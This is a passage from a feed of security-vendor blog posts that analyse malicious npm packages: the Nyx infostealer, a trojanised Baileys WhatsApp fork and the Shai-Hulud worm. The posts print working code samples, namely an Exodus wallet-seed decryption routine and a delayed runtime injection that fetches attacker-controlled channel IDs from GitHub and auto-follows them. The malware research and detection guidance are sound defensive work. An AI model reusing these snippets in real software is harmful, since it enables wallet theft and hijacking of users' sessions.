  Wave 3: Cryptocurrency Wallet Targeting
&lt;/h3&gt;

&lt;p&gt;The npm infostealer enumerates:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;90+ browser wallet extensions
&lt;/li&gt;
&lt;li&gt;27 desktop wallets
&lt;/li&gt;
&lt;li&gt;Cold wallet paths
&lt;/li&gt;
&lt;li&gt;Exodus seed files
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Example seed decryption attempt:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;decryptSeco&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pbkdf2Sync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;exodus&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sha512&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;decipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createDecipheriv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;aes-256-gcm&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="nx"&gt;decipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAuthTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;concat&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
        &lt;span class="nx"&gt;decipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
        &lt;span class="nx"&gt;decipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;final&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The encryption layer alone already separates this campaign from a typical open-source fork.&lt;/p&gt;

&lt;p&gt;A legitimate Discord selfbot has no reason to encrypt its entire codebase, spawn PowerShell to access DPAPI, download external runtimes, or modify desktop application internals. When those capabilities appear inside a dependency that claims to automate Discord interactions, the architectural mismatch becomes impossible to ignore.&lt;/p&gt;

&lt;p&gt;From an investigation standpoint, this npm infostealer leaves traces across multiple layers. However, the most reliable indicators are not hardcoded URLs or specific file paths, since those can change between versions. Instead, the durable signals are structural.&lt;/p&gt;

&lt;p&gt;At the package level, the strongest red flag is the combination of a large encrypted payload and a runtime decryption wrapper that immediately executes via &lt;code&gt;vm.runInNewContext()&lt;/code&gt;. While encryption alone is not inherently malicious, using AES decryption followed by dynamic VM execution inside a Discord utility package is highly anomalous.&lt;/p&gt;

&lt;p&gt;At the host level, suspicious patterns include unexpected DPAPI decryption activity, process spawning from a Node.js dependency context, and modification of local application files that should never be altered by third-party libraries. Likewise, at the network layer, outbound webhook-style communication initiated by a development dependency represents another meaningful anomaly.&lt;/p&gt;

&lt;p&gt;In other words, the detection surface is not a single indicator of compromise. It is the correlation of encryption, runtime execution, credential access, and persistence behavior that reveals the threat.&lt;/p&gt;

&lt;h2&gt;
  
  
  Detection and Mitigation with Xygeni
&lt;/h2&gt;

&lt;h3&gt;
  
  
  npm Infostealer
&lt;/h3&gt;

&lt;p&gt;This npm infostealer was identified by &lt;a href="https://xygeni.io/malware-across-devops/" rel="noopener noreferrer"&gt;Xygeni’s Malware Early Warning (MEW)&lt;/a&gt; through layered behavioral correlation rather than simple signature matching.&lt;/p&gt;

&lt;p&gt;Instead of searching for known malicious strings, MEW evaluates structural anomalies across the full source tree. In this case, detection emerged from the convergence of several signals: an embedded AES decryption routine in the module entry point, immediate execution inside a VM context, and a clear capability-to-intent mismatch.&lt;/p&gt;

&lt;p&gt;Importantly, none of these signals alone prove malicious intent. However, when analyzed together, they expose an attempt to conceal runtime behavior. This layered approach significantly reduces false positives while identifying high-confidence supply chain threats.&lt;/p&gt;

&lt;p&gt;Furthermore, this case illustrates why install-time inspection alone is insufficient. The malicious logic does not reside in lifecycle scripts. It activates only after the module loads and only becomes visible once decrypted in memory. Therefore, effective defense requires encryption-aware analysis, behavioral pattern recognition, and continuous dependency monitoring beyond installation events.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://xygeni.io/book-a-demo/" rel="noopener noreferrer"&gt;Request Demo&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Registry takedown is reactive. Runtime-aware analysis is preventative.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This npm Infostealer Matters
&lt;/h2&gt;

&lt;p&gt;Nyx Stealer represents a structural evolution in npm-based malware.&lt;/p&gt;

&lt;p&gt;Historically, many malicious packages relied on visible install-time scripts or obvious credential exfiltration endpoints. By contrast, this campaign encrypts its payload, defers execution to runtime, leverages legitimate operating system APIs, and establishes persistence inside trusted applications.&lt;/p&gt;

&lt;p&gt;Consequently, the attacker does not need to exploit npm infrastructure itself. Instead, the attack succeeds because dependency installation implies trust. Developers assume that importing a library is a safe operation, particularly when it presents itself as a plausible fork of a popular tool.&lt;/p&gt;

&lt;p&gt;As ecosystems continue to grow and forks proliferate, that implicit trust boundary becomes an increasingly attractive attack surface. Therefore, defending against modern npm infostealers requires recognizing architectural patterns rather than searching for static strings.&lt;/p&gt;

&lt;p&gt;Ultimately, this campaign reinforces a critical lesson in software supply chain security: the most dangerous threats are not the ones that look malicious at first glance, but the ones that appear structurally legitimate until runtime reveals their true behavior.&lt;/p&gt;

</description>
      <category>npm</category>
      <category>cybersecurity</category>
      <category>opensource</category>
      <category>discord</category>
    </item>
    <item>
      <title>Malicious npm Package in Baileys Fork (Skyzopedia Case)</title>
      <dc:creator>Fátima Said</dc:creator>
      <pubDate>Fri, 27 Feb 2026 09:40:10 +0000</pubDate>
      <link>https://forem.com/xygenisecurity/malicious-npm-package-in-baileys-fork-skyzopedia-case-47ic</link>
      <guid>https://forem.com/xygenisecurity/malicious-npm-package-in-baileys-fork-skyzopedia-case-47ic</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;The Xygeni Security Research Team identified a malicious npm package, &lt;code&gt;@dappaoffc/baileys-mod&lt;/code&gt;, published as a fork of the widely used WhatsApp Web API library &lt;code&gt;@whiskeysockets/baileys&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Starting from version &lt;strong&gt;8.0.1&lt;/strong&gt;, this malicious npm package contains a runtime code injection inside &lt;code&gt;lib/Socket/newsletter.js&lt;/code&gt;. The injected logic silently subscribes the developer’s authenticated WhatsApp bot session to attacker-controlled newsletter channels.&lt;/p&gt;

&lt;p&gt;The payload activates &lt;strong&gt;80 seconds after module load&lt;/strong&gt; and dynamically retrieves its target list from GitHub, making the behavior self-updating and difficult to detect through install-time analysis.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technical Overview
&lt;/h2&gt;

&lt;p&gt;During routine monitoring of newly published dependencies, the Xygeni Security Research Team detected anomalous behavior in &lt;code&gt;@dappaoffc/baileys-mod&lt;/code&gt;, later confirmed as a malicious npm package targeting the WhatsApp bot ecosystem.&lt;/p&gt;

&lt;p&gt;Unlike credential-stealing worms or ransomware droppers, this malicious npm package abuses the trust relationship between a developer and a commonly forked open source library.&lt;/p&gt;

&lt;p&gt;The package presents itself as a modified version of &lt;a href="https://www.npmjs.com/package/baileys" rel="noopener noreferrer"&gt;Baileys&lt;/a&gt;, a popular WhatsApp Web API implementation widely used to build automation bots. Within that ecosystem, installing forks is common practice. Consequently, the attacker leveraged a realistic distribution model rather than exploiting a vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Importantly:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;preinstall&lt;/code&gt; script only validates Node.js version
&lt;/li&gt;
&lt;li&gt;No credential exfiltration occurs at install time
&lt;/li&gt;
&lt;li&gt;No suspicious &lt;code&gt;postinstall&lt;/code&gt; activity appears
&lt;/li&gt;
&lt;li&gt;The injection executes strictly at runtime
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because of this design, install-time scanners would not detect malicious behavior.&lt;/p&gt;

&lt;h2&gt;
  
  
  Runtime Injection Mechanism Inside the Malicious npm Package
&lt;/h2&gt;

&lt;p&gt;The malicious logic inside this malicious npm package lives in &lt;code&gt;lib/Socket/newsletter.js&lt;/code&gt;, embedded directly within the module’s execution context.&lt;/p&gt;

&lt;p&gt;The attacker wrapped the injected block in an Immediately Invoked Function Expression (IIFE), which guarantees execution as soon as the module loads.&lt;/p&gt;

&lt;p&gt;However, instead of triggering immediately, the payload introduces a delayed execution mechanism:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;newsletterIds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
      &lt;span class="nx"&gt;newsletterIds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;newsletterWMexQuery&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Types_1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;QueryIds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;FOLLOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
      &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;80000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After the delay expires, the payload performs a controlled sequence:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Fetches a JSON file from a GitHub raw content URL.
&lt;/li&gt;
&lt;li&gt;Parses a list of WhatsApp newsletter IDs.
&lt;/li&gt;
&lt;li&gt;Iterates through the list.
&lt;/li&gt;
&lt;li&gt;Calls &lt;code&gt;newsletterWMexQuery(id, QueryIds.FOLLOW)&lt;/code&gt; for each entry.
&lt;/li&gt;
&lt;li&gt;Spaces requests five seconds apart to reduce rate-limit detection.
&lt;/li&gt;
&lt;li&gt;Silently suppresses all runtime errors.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because the code invokes internal library functions rather than external scripts, the resulting traffic appears indistinguishable from legitimate user-initiated actions. From WhatsApp’s protocol perspective, the bot voluntarily subscribed to those channels.&lt;/p&gt;

&lt;h2&gt;
  
  
  Technical Comparison: Legitimate vs Injected Behavior
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Legitimate Behavior&lt;/th&gt;
&lt;th&gt;Malicious Injection&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Installation Phase&lt;/td&gt;
&lt;td&gt;Validates Node.js version only&lt;/td&gt;
&lt;td&gt;No visible malicious behavior at install time&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Module Initialization&lt;/td&gt;
&lt;td&gt;Exports WhatsApp socket factory&lt;/td&gt;
&lt;td&gt;IIFE executes automatically on module load&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution Timing&lt;/td&gt;
&lt;td&gt;No delayed behavior&lt;/td&gt;
&lt;td&gt;80-second delayed activation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Network Communication&lt;/td&gt;
&lt;td&gt;Communicates only through WhatsApp WebSocket protocol&lt;/td&gt;
&lt;td&gt;Outbound fetch to GitHub raw content (dynamic control channel)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Newsletter Actions&lt;/td&gt;
&lt;td&gt;User-initiated subscription requests&lt;/td&gt;
&lt;td&gt;Automated FOLLOW requests via internal library API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Error Handling&lt;/td&gt;
&lt;td&gt;Propagates operational errors&lt;/td&gt;
&lt;td&gt;Silently suppresses all exceptions&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Dynamic Control Channel via GitHub
&lt;/h2&gt;

&lt;p&gt;The newsletter ID list is hosted at:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This design provides several operational advantages:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Dynamic payload updates without publishing a new npm version
&lt;/li&gt;
&lt;li&gt;Trusted TLS endpoint that blends into normal developer traffic
&lt;/li&gt;
&lt;li&gt;No attacker-managed infrastructure required
&lt;/li&gt;
&lt;li&gt;Persistence across already deployed bots
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because the injection executes inside the factory scope, it reuses internal closures such as &lt;code&gt;newsletterWMexQuery&lt;/code&gt; and &lt;code&gt;delay&lt;/code&gt; without importing external modules. This minimizes footprint and increases stealth.&lt;/p&gt;

&lt;p&gt;Effectively, GitHub acts as a lightweight command distribution channel.&lt;/p&gt;

&lt;h2&gt;
  
  
  Dependency Alias and Attribution Signals
&lt;/h2&gt;

&lt;p&gt;The package metadata includes the following dependency alias:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"libsignal"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npm:@skyzopedia/libsignal-node"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This redirects a critical cryptographic dependency to an attacker-controlled npm scope.&lt;/p&gt;

&lt;p&gt;Additionally, the metadata impersonates the upstream project by referencing the original author and repository. This increases perceived legitimacy and reduces scrutiny during casual review.&lt;/p&gt;

&lt;p&gt;These signals indicate deliberate ecosystem blending rather than opportunistic tampering.&lt;/p&gt;

&lt;h2&gt;
  
  
  Indicators of Compromise for This Malicious npm Package
&lt;/h2&gt;

&lt;p&gt;Security teams investigating this malicious npm package should evaluate the following signals:&lt;/p&gt;

&lt;h3&gt;
  
  
  Network Signals
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Outbound GET requests to &lt;code&gt;raw.githubusercontent.com&lt;/code&gt; from WhatsApp bot processes
&lt;/li&gt;
&lt;li&gt;Newsletter FOLLOW actions occurring without application logic triggering them
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Package Signals
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;@dappaoffc/baileys-mod&lt;/code&gt; version 8.0.1 (and potentially 8.0.0)
&lt;/li&gt;
&lt;li&gt;Dependency alias redirecting &lt;code&gt;libsignal&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Runtime IIFE injection inside &lt;code&gt;newsletter.js&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Behavioral Signals
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;FOLLOW requests spaced in five-second intervals
&lt;/li&gt;
&lt;li&gt;No user interaction preceding newsletter subscriptions
&lt;/li&gt;
&lt;li&gt;Silent error suppression inside core library code
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unlike traditional malware, this attack does not require credential exfiltration. The abuse occurs entirely within an already authenticated session context.&lt;/p&gt;

&lt;h2&gt;
  
  
  Detection and Mitigation with Xygeni
&lt;/h2&gt;

&lt;p&gt;This case illustrates why install-time scanning alone is insufficient. The malicious behavior executes after module load and hides inside legitimate business logic.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://xygeni.io/malware-across-devops/" rel="noopener noreferrer"&gt;Xygeni’s Malware Early Warning (MEW)&lt;/a&gt; detected this package by correlating multiple signals rather than relying on a single signature.&lt;/p&gt;

&lt;h2&gt;
  
  
  Full-Source Static Analysis
&lt;/h2&gt;

&lt;p&gt;MEW inspects complete package source trees, not only lifecycle scripts.&lt;/p&gt;

&lt;p&gt;In this case, detection signals included:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An unexpected &lt;code&gt;fetch()&lt;/code&gt; call inside a WhatsApp core module
&lt;/li&gt;
&lt;li&gt;Outbound communication to GitHub raw content
&lt;/li&gt;
&lt;li&gt;Delayed execution patterns embedded in runtime logic
&lt;/li&gt;
&lt;li&gt;Nested silent error handling
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Individually, these patterns may appear benign. However, combined analysis reveals anomalous behavior inconsistent with a legitimate Baileys fork.&lt;/p&gt;

&lt;h2&gt;
  
  
  Dependency Risk Correlation
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;libsignal&lt;/code&gt; alias triggered additional scrutiny because it redirects a sensitive dependency to an unverified scope.&lt;/p&gt;

&lt;p&gt;Xygeni correlates:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Publisher reputation signals
&lt;/li&gt;
&lt;li&gt;Scope ownership inconsistencies
&lt;/li&gt;
&lt;li&gt;Dependency redirection on cryptographic libraries
&lt;/li&gt;
&lt;li&gt;Metadata impersonation indicators
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This layered analysis reduces false positives while identifying trust abuse.&lt;/p&gt;

&lt;h2&gt;
  
  
  Runtime-Aware Supply Chain Controls
&lt;/h2&gt;

&lt;p&gt;Because this malicious npm package executes at runtime, effective defense requires behavior-aware analysis.&lt;/p&gt;

&lt;p&gt;Xygeni evaluates:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Delayed execution mechanisms
&lt;/li&gt;
&lt;li&gt;Internal API misuse
&lt;/li&gt;
&lt;li&gt;Outbound network calls inside dependency code
&lt;/li&gt;
&lt;li&gt;Anomalous control flow inside third-party libraries
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Additionally, Guardrails policies in CI/CD can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Block unexpected outbound calls during builds
&lt;/li&gt;
&lt;li&gt;Detect suspicious dependency graph changes
&lt;/li&gt;
&lt;li&gt;Enforce restrictions on scope redirection
&lt;/li&gt;
&lt;li&gt;Flag dynamic payload retrieval patterns
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Therefore, containment does not rely solely on registry takedown.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Malicious npm Package Matters for Supply Chain Security
&lt;/h2&gt;

&lt;p&gt;This malicious npm package reflects a structural shift in supply chain abuse:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Runtime execution instead of install-time payloads
&lt;/li&gt;
&lt;li&gt;Dynamic control channels hosted on trusted platforms
&lt;/li&gt;
&lt;li&gt;Abuse of legitimate internal APIs
&lt;/li&gt;
&lt;li&gt;Metadata spoofing to mimic upstream maintainers
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The attacker did not exploit a software vulnerability. Instead, the attacker exploited trust in forks and dependency updates.&lt;/p&gt;

&lt;p&gt;Consequently, detection requires full-source inspection, dependency risk correlation, and runtime-aware analysis, not just script scanning.&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>security</category>
      <category>npm</category>
      <category>devops</category>
    </item>
    <item>
      <title>Shai-Hulud: The npm Packages Worm Explained</title>
      <dc:creator>Fátima Said</dc:creator>
      <pubDate>Wed, 17 Sep 2025 22:00:00 +0000</pubDate>
      <link>https://forem.com/xygenisecurity/shai-hulud-the-npm-packages-worm-explained-2p2i</link>
      <guid>https://forem.com/xygenisecurity/shai-hulud-the-npm-packages-worm-explained-2p2i</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;On September 14, 2025, researchers identified &lt;strong&gt;Shai-Hulud&lt;/strong&gt;, a self-replicating worm hidden inside &lt;strong&gt;npm packages&lt;/strong&gt;, turning a routine dependency update into a full-scale &lt;strong&gt;supply chain attack&lt;/strong&gt;. First spotted in the &lt;strong&gt;&lt;a class="mentioned-user" href="https://dev.to/ctrl"&gt;@ctrl&lt;/a&gt;/tinycolor&lt;/strong&gt; package by Daniel dos Santos Pereira, Shai-Hulud harvests secrets, exfiltrates them through GitHub repos and workflows, and republishes itself across the registry using stolen credentials. Within days, the number of infected packages jumped from dozens to hundreds, confirming that &lt;strong&gt;Shaihulud&lt;/strong&gt; is not just another trojan but a worm designed to spread automatically across the npm ecosystem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Impact:&lt;/strong&gt; any developer or CI runner installing public npm packages is at risk.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Immediate actions:&lt;/strong&gt; block known versions, switch to lockfile-only installs, rotate npm and GitHub tokens, audit workflows, and monitor for Indicators of Compromise (IoCs).&lt;/p&gt;

&lt;h2&gt;
  
  
  What Happened?
&lt;/h2&gt;

&lt;p&gt;The &lt;strong&gt;Shai-Hulud supply chain attack in npm packages&lt;/strong&gt; is one of the most disruptive incidents in recent memory. Unlike isolated trojans, this worm mixes &lt;strong&gt;credential theft, automated exfiltration, and self-replication&lt;/strong&gt;. Consequently, the infection timeline shrank from weeks to just hours.&lt;/p&gt;

&lt;p&gt;For DevOps teams, the lesson is clear: &lt;strong&gt;if every install can execute code, then every dependency update is a potential breach point.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Possible Initial Vector and Targeted Credentials
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://unit42.paloaltonetworks.com/npm-supply-chain-attack/" rel="noopener noreferrer"&gt;Early analysis&lt;/a&gt; indicates that the attack likely started with &lt;strong&gt;stolen credentials&lt;/strong&gt;. For instance, phishing campaigns spoofing npm login or MFA prompts may have captured developer tokens. Once attackers gained that first foothold, the worm spread by embedding itself into npm packages and stealing more secrets from:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;npm config files&lt;/strong&gt; like &lt;code&gt;.npmrc&lt;/code&gt;, often containing publish tokens.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Environment variables&lt;/strong&gt; and configs with GitHub PATs and CI/CD secrets.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cloud metadata endpoints&lt;/strong&gt; (AWS, GCP, Azure) yielding short-lived credentials for lateral movement.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Therefore, credential theft became the launchpad. With valid npm tokens and GitHub secrets, Shai-Hulud could self-replicate across multiple packages and repositories without extra human effort.&lt;/p&gt;

&lt;h2&gt;
  
  
  Timeline of the Shai-Hulud Supply Chain Attack in npm Packages
